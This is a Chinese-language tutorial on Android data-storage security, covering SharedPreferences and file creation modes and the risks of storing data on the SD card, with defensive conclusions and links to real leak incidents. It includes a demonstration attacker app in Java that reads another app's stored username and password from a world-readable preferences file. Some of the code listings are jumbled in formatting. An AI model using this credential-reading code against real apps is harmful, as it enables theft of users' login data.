随着无线客户端的火热发展,大家往往将所关注的重点放到了业务本身上,而忽视了安全问题。但是随着近年来各种层出不穷的与客户端相关的攻击事件以及安全漏洞的曝出,客户端安全已经不容忽视,忽视了安全必将会受到安全的惩罚。
而在各种安全之中数据安全更是重中之重,毫不夸张的说数据安全可以说是无线客户端安全的灵魂。用户的重要数据一旦损失掉,将会对应用乃至企业造成巨大的负面影响。例如去年发生的csdn的用户名密码泄露事件;和无线客户端相关的有skype android版的用户密码、信用卡号泄露事件等,对于企业造成了不可估量的损失。
前面会简单介绍一下文件存储可能存在的风险,后续会给出由于不注意这些安全问题在集团内和其他公司内所引发的血淋淋的例子。
不过大家了解之后主要是为了保护我们自身客户端的安全以及一些功能的攻击手法,不要干坏事哦o(∩_∩)o~
android客户端上数据的存储主要分为四种:内部数据存储、外部数据存储、数据库数据存储、content provider数据存储(其中数据库的安全问题会有一篇文章单独介绍、content provider的安全问题将会列入到组件安全的文章中去)
内部数据存储主要分为两种方式:sharedpreference存储和文件存储。
内部数据存储的安全问题主要需要注意的是创建的模式以及向文件中写入的内容。
sharedpreference : 是一种轻量级的数据存储方式,它的本质是基于xml文件存储key- value键值对数据,通常用来存储一些简单的配置信息。
file : 即常说的文件(i/o)存储方法,常用存储大量的数据。
内部数据存储通常较为安全,因为他们可以受到android系统的安全机制的保护。
android的安全机制本质上就是linux的安全机制,系统会为在android系统上运行的每一个app创建一个进程,并为该进程分配一个uid。android系统将会为每一个app创建一个特定的目录/data/data/app_package_name,这个目录的权限只与uid相关,且只有uid关联的用户才有该目录相关的权限。
因此,在对应目录下生成的sharedpreference文件与file文件如果以正确的方式去创建将会受到android系统权限机制的保护。
这个正确的创建方式是指文件创建的模式,sharedpreference与文件的创建模式主要有以下三种:
mode_private:这个是默认的创建模式,该进程的uid对应的用户将会对该文件拥有完全的控制的权限,而其他uid的用户将没有权限去读/写文件。
mode_world_writable:该权限将允许设备上所有的app对于该文件拥有写的权限。
mode_world_readable:该权限将允许设备上所有的app对于该文件拥有读的权限。
创建sharedpreference所使用的api为:
(ui美化不太懂,大家凑合着看吧(*^__^*) )
就是通过点击存储按钮将username:yaotong、password:tbsec以key-value对的形式存入到一个userinfo.xml的文件中(具体的代码我会通过附件给出),注意这里我创建sharedpreference的时候是以mode_private的模式进行创建的
创建后的文件的路径为/data/data/com.yaotong.andgoat/shared_prefs/userinfo.xml
查看所创建的文件的权限可以通过两种方式
1.通过ddms查看,可以看到图中紫色的方框为应用的权限,对于owner及owner所在组具有rw的完全的读写权限,而对于others用户是没有任何权限的
2.通过shell来查看,可以看到通过shell查看看到的权限是与ddms中看到的权限是完全相同的,这样代表应用是安全的
下面我来模拟一下攻击者来盗取以mode_private模式和非mode_private模式所创建的文件会出现什么样的效果
(1).盗取以mode_private模式所创建的文件
盗取的代码如下所示:
<code>01</code>
<code>package com.yaotong.andattack;</code>
<code>02</code>
<code>03</code>
<code>import android.os.bundle;</code>
<code>04</code>
<code>import android.app.activity;</code>
<code>05</code>
<code>import android.content.context;</code>
<code>06</code>
<code>import android.content.sharedpreferences;</code>
<code>07</code>
<code>import android.content.pm.packagemanager.namenotfoundexception;</code>
<code>08</code>
<code>import android.view.menu;</code>
<code>09</code>
<code>import android.view.view;</code>
<code>10</code>
<code>import android.view.view.onclicklistener;</code>
<code>11</code>
<code>import android.widget.button;</code>
<code>12</code>
<code>import android.widget.edittext;</code>
<code>13</code>
<code>14</code>
<code>public class mainactivity extends activity {</code>
<code>15</code>
<code> </code>
<code>16</code>
<code> </code><code>private edittext btn_showtext;</code>
<code>17</code>
<code> </code><code>private button btn_submit;</code>
<code>18</code>
<code> </code><code>@override</code>
<code>19</code>
<code> </code><code>public void oncreate(bundle savedinstancestate) {</code>
<code>20</code>
<code> </code><code>super</code><code>.oncreate(savedinstancestate);</code>
<code>21</code>
<code> </code><code>setcontentview(r.layout.activity_main);</code>
<code>22</code>
<code> </code><code>btn_showtext=(edittext)</code><code>this</code><code>.findviewbyid(r.id.showtext);</code>
<code>23</code>
<code> </code><code>btn_submit=(button)</code><code>this</code><code>.findviewbyid(r.id.submit);</code>
<code>24</code>
<code> </code><code>btn_submit.setonclicklistener(</code><code>new</code>
<code>onclicklistener() { </code>
<code>25</code>
<code> </code><code>public void onclick(view v) {</code>
<code>26</code>
<code> </code><code>// todo auto-generated method stub</code>
<code>27</code>
<code> </code><code>try</code><code>{</code>
<code>28</code>
<code> </code><code>context andgoatcontext = createpackagecontext(</code><code>'com.yaotong.andgoat'</code><code>, context.context_ignore_security); </code>
<code>29</code>
<code> </code><code>sharedpreferences sharedpreferences = andgoatcontext.getsharedpreferences(</code><code>'userinfo'</code><code>, context.mode_world_readable); </code>
<code>30</code>
<code> </code><code>string username = sharedpreferences.getstring(</code><code>'name'</code><code>,</code><code>''</code><code>); </code>
<code>31</code>
<code> </code><code>string password = sharedpreferences.getstring(</code><code>'password'</code><code>,</code><code>''</code><code>);</code>
<code>32</code>
<code> </code><code>btn_showtext.settext(username+</code><code>'|'</code><code>+password);</code>
<code>33</code>
<code> </code><code>}</code><code>catch</code><code>(namenotfoundexception e){</code>
<code>34</code>
<code> </code><code>e.printstacktrace();</code>
<code>35</code>
<code> </code><code>}</code>
<code>36</code>
<code> </code><code>}</code>
<code>37</code>
<code> </code><code>});</code>
<code>38</code>
<code> </code><code>}</code>
<code>39</code>
<code>40</code>
<code>41</code>
<code> </code><code>public boolean oncreateoptionsmenu(menu menu) {</code>
<code>42</code>
<code> </code><code>getmenuinflater().inflate(r.menu.activity_main, menu);</code>
<code>43</code>
<code> </code><code>return</code>
<code>true</code><code>;</code>
<code>44</code>
<code>1</code>
<code>}</code>
当点击按钮盗取信息的时候,出现了如下的提示信息'attempt to read preferences file /data/data/com.yaotong.andgoat/shared_prefs/userinfo.xml without permission',可以看到权限不够,无法读取文件
(2).盗取以非mode_private模式所创建的文件(mode_world_readable)
可以看到这时候others组有了对该文件读的权限
再次点击按钮盗取信息,发现盗取成功
由上面的分析我们可以得出几个重要的安全相关的结论:
(1).创建文件时的权限控制
如果在创建文件的时候没有注意控制权限,那么该文件的内容将会被其他的应用程序所读取,这样就造成了用户相关信息的泄露,sharedpreference中存储的往往是一些免登token、session id等和用户身份息息相关的重要信息,因此在创建的时候一定要注意选取好创建的模式;注意免登token也一定要具有时效性,否则与存储了明文的用户名、密码无异。
(2).sharedpreference中不要存入明文密码等重要信息
由于有root的存在,那么root过后的手机就打破了linux提供的沙箱机制,那么无论我们以何种方式去创建sharedpreference都已经不在安全了,如果存储的是用户明文的密码,那么用户的密码将会泄露,因此绝对不要向sharedpreference中写入任何无时效性的重要的数据;
创建文件所使用的api为:
由于sharedpreference的本质就是一个xml文件,只是android系统单独为它提供了一些列便于操作的api,因此文件存储的本质与sharedpreference完全相同,所面临的安全风险和注意事项与sharedpreference完全相同,在此不再赘述。
唯一的区别是在读取文件的时候我们在sharedpreference中使用了系统的操作
sharedpreference的相关api,而在这里,我们完全采用java i/o的方式去操作文件,例子如下所示:
<code>file xmlfile =</code><code>new</code>
<code>file(“/data/data/com.yaotong.andgoat/shared_prefs/userinfo.xml”)</code>
外部存储,通常是指将数据存入到设备的sd卡上。
外部存储是一种不安全的数据存储机制,因为存储到sd卡上的文件默认是提供给others读文件的权限的,设备上安装的其他app只要在其androidmenifest.xml上声明如下的语句<uses-permission android:name='android.permission.write_external_storage'></uses-permission>,那么该app就具有了对于sd卡的完全的读写权限,即是说一个app放在sd卡上的任何数据都可以被其他的app进行读/写操作,所以将重要数据存储在sd卡上具有相当大的安全隐患。
操作界面和代码如下所示:当点击存储按钮的时候,'yaotong|tbsec'字符串将会被存储到相应的sd卡目录下的userinfo.txt文件中
相关代码:
<code>public boolean writetosdcard(string file, string destdir, string szintext) throws ioexception {</code>
<code> </code><code>if</code><code>(mexternalstoragewriteable ==</code><code>true</code><code>) {</code>
<code> </code><code>file msdpath = android.os.environment.getexternalstoragedirectory();</code>
<code> </code><code>file mdestpath =</code><code>new</code> <code>file(msdpath.getabsolutefile() + file.separator + destdir);</code>
<code> </code><code>log.e(</code><code>'externalstoragedirectory'</code><code>,msdpath.getabsolutefile() + file.separator + destdir);</code>
<code> </code><code>file mfile =</code><code>null</code><code>;</code>
<code> </code><code>if</code><code>(!mdestpath.exists()) {</code>
<code> </code><code>mdestpath.mkdirs();</code>
<code> </code><code>}</code>
<code> </code><code>mfile =</code><code>new</code> <code>file(mdestpath + file.separator + file);</code>
<code> </code><code>if</code><code>(!mfile.exists()) {</code>
<code> </code><code>try</code>
<code>{</code>
<code> </code><code>mfile.createnewfile();</code>
<code> </code><code>}</code><code>catch</code> <code>(ioexception e) {</code>
<code> </code><code>e.printstacktrace();</code>
<code> </code><code>}</code>
<code> </code><code>fileoutputstream moutputstream;</code>
<code> </code><code>moutputstream =</code><code>new</code> <code>fileoutputstream(mfile);</code>
<code> </code><code>moutputstream.write(szintext.getbytes());</code>
<code> </code><code>moutputstream.close();</code>
<code> </code><code>return</code>
<code> </code><code>}</code>
<code>false</code><code>;</code>
查看sd卡中文件的方法:
通过shell查看,可以看到sd卡下所有目录others都具有读的权限
接下来查看我们所创建的文件,发现文件others拥有读的权限
由上面的分析我们可以得出如下的安全结论:
(1).存储在sd卡中的数据是不安全的
sd卡中所创建的文件默认对于others具有可读的权限,这就意味着你存储在sd卡上的一切内容是可以被其他应用所读取的;此外,只要app在其androidmenifest.xml文件中声明了写sd卡的权限,那么你存储在sd卡上的数据也都可以被人修改。所以,一定不要在sd卡上存储任何重要的数据,sd卡上的数据是不受linux默认保护机制保护的。
不要以为安全很遥远,安全就在你的身边,包括一些大厂商都发生过类似的安全事件,我们要引以为鉴,不让类似的问题发生在我们的身上。
内部数据存储安全事件:
网易android客户端导致账号密码泄露
传送门:http://www.wooyun.org/bugs/wooyun-2010-010056
android手机明文存储使用过的wifi密码
外部数据存储安全事件:
手机qq2012(android 3.0)导致用户聊天记录泄露
传送门:http://www.wooyun.org/bugs/wooyun-2010-012838
小米miui系统造成用户大量敏感数据泄露
传送门:http://www.wooyun.org/bugs/wooyun-2010-08187